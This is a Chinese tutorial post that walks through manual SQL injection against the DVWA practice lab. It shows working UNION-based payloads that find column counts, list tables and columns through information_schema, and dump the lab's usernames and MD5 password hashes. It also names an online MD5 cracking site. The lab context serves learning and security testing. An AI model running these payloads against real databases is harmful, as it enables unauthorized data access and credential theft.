当前位置: 首页 > news >正文

SQL注入一般过程

实验:Vulnerability: SQL Injection(low)

SQL注入一般过程
1.判断注入点
一般和数据库进行交互的位置
2.判断注入点类型
字符型判断:
1'   报错
1' and '1'='2  错误结果
1' and '1'='1  正确结果
数字型判断:
1'   报错
1 and 1=2  错误结果
1 and 1=1  正确结果
3.获取数据回显位置
3.1 判断返回字段数
两种方式判断:1.order by 2. union select
1' order by 1# 正确显示结果
1' order by 2# 正确显示结果
1' order by 3# 报错
判断返回结果有两列。
3.2 判断回显位置
1' union select 1#  报错
1' union select 1,2#  正确显示,并成功显示回显位置
4.查询数据库名
database() 获取数据库名,user()获取用户名
1' union select database(),user() #
5.获取表名
数据库:information_schema
数据表:information_schema.tables
字段:table_schema = 'dvwa'
通过上面的内容查询表名,table_name
-1' union select 1,table_name from information_schema.tables
where table_schema=database()#
报错:
Illegal mix of collations for operation 'UNION'  编码错误
三种方式解决:
1.变成16进制输出
-1' union select 1,hex(table_name) from information_schema.tables
where table_schema=database()#
2.输出指定字符集
-1' union select 1,table_name collate utf8_general_ci from information_schema.tables
where table_schema=database()#
3.直接修改数据库字符集

查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合
-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables
where table_schema=database()#
查询结果为:guestbook,users
5.查询字段名
数据库:information_schema
表:information_schema.columns
条件字段:table_schema='dvwa',table_name='users'
查询内容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns
where table_schema=database() and table_name='users'#
查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
6.查询数据
查询表:users
查询字段:user,password
-1' union select 1,group_concat(user,'~',password) from users#
查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99
MD5在线解密:
https://www.cmd5.com/

相关文章:

  • Spring boot 发送邮箱
  • flutter 底部弹窗和中间弹窗
  • 分布式搜索引擎02
  • at least 1 bean which qualifies as autowire candidate
  • Jenkins的几种安装方式以及邮件配置
  • 基于深度学习的yolov5入侵检测系统
  • 微服务1 springcloud学习笔记P1-P40
  • C++ 设计模式 Forward Declaration Pimpl
  • C++基础——STL初识
  • 力扣第 119 场双周赛(Java)
  • hook其他调试技巧
  • 重构第一章:引言
  • HTML中使用JavaScript实现一个简单的鼠标悬停特效。
  • Softmax回归
  • Redis持久化机制 RDB 和 AOF 的选择
  • AHK 中 = 和 == 等比较运算符的用法
  • AzureCon上微软宣布了哪些容器相关的重磅消息
  • crontab执行失败的多种原因
  • iOS仿今日头条、壁纸应用、筛选分类、三方微博、颜色填充等源码
  • JAVA_NIO系列——Channel和Buffer详解
  • leetcode386. Lexicographical Numbers
  • Linux学习笔记6-使用fdisk进行磁盘管理
  • Promise初体验
  • Vue.js-Day01
  • XForms - 更强大的Form
  • 分享一个自己写的基于canvas的原生js图片爆炸插件
  • 每天一个设计模式之命令模式
  • 扑朔迷离的属性和特性【彻底弄清】
  • 数据科学 第 3 章 11 字符串处理
  • 无服务器化是企业 IT 架构的未来吗?
  • 追踪解析 FutureTask 源码
  • 最简单的无缝轮播
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • TPG领衔财团投资轻奢珠宝品牌APM Monaco
  • 阿里云重庆大学大数据训练营落地分享
  • ​LeetCode解法汇总2182. 构造限制重复的字符串
  • #HarmonyOS:Web组件的使用
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • (2)nginx 安装、启停
  • (70min)字节暑假实习二面(已挂)
  • (C语言)深入理解指针2之野指针与传值与传址与assert断言
  • (ZT) 理解系统底层的概念是多么重要(by趋势科技邹飞)
  • (附源码)ssm失物招领系统 毕业设计 182317
  • (附源码)基于SpringBoot和Vue的厨到家服务平台的设计与实现 毕业设计 063133
  • (七)理解angular中的module和injector,即依赖注入
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (四)Tiki-taka算法(TTA)求解无人机三维路径规划研究(MATLAB)
  • (五)c52学习之旅-静态数码管
  • .describe() python_Python-Win32com-Excel
  • .NET 4.0中使用内存映射文件实现进程通讯
  • .NET Core 成都线下面基会拉开序幕
  • .net core 实现redis分片_基于 Redis 的分布式任务调度框架 earth-frost
  • .NET 材料检测系统崩溃分析
  • .net打印*三角形
  • .NET导入Excel数据